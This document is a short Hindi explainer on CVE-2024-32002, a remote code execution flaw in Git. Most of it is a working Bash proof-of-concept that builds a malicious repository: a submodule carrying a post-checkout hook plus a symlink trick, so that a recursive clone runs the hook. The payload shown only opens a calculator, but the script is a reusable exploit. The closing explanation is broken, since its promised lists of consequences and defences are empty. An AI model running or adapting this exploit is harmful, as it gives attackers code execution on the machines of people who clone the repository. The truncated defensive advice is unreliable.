
CVE-2024-32002 Git में एक गंभीर कमजोरी है, जो हमलावरों को उपयोगकर्ता द्वारा git clone क्रिया निष्पादित करने पर दूरस्थ रूप से मनमाना कोड निष्पादित (RCE) करने की अनुमति देती है।
Bash स्क्रिप्ट:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
सादे अंग्रेजी में स्पष्टीकरण:
यह Bash स्क्रिप्ट एक दुर्भावनापूर्ण Git रिपॉजिटरी बनाती है जो एक कमजोरी (CVE-2024-32002) का शोषण करती है ताकि जब कोई रिपॉजिटरी को क्लोन करे तो दुर्भावनापूर्ण कोड निष्पादित हो सके।
स्क्रिप्ट क्या करती है इसका विवरण इस प्रकार है:
जब कोई "captain" रिपॉजिटरी को क्लोन करता है, तो दुर्भावनापूर्ण स्क्रिप्ट उनके कंप्यूटर पर चलेगी, जिससे हानिकारक परिणाम हो सकते हैं जैसे:
ऐसे हमलों से स्वयं को बचाने के लिए:
इन सावधानियों का पालन करके, आप इसी प्रकार के हमलों का शिकार होने के जोखिम को काफी हद तक कम कर सकते हैं।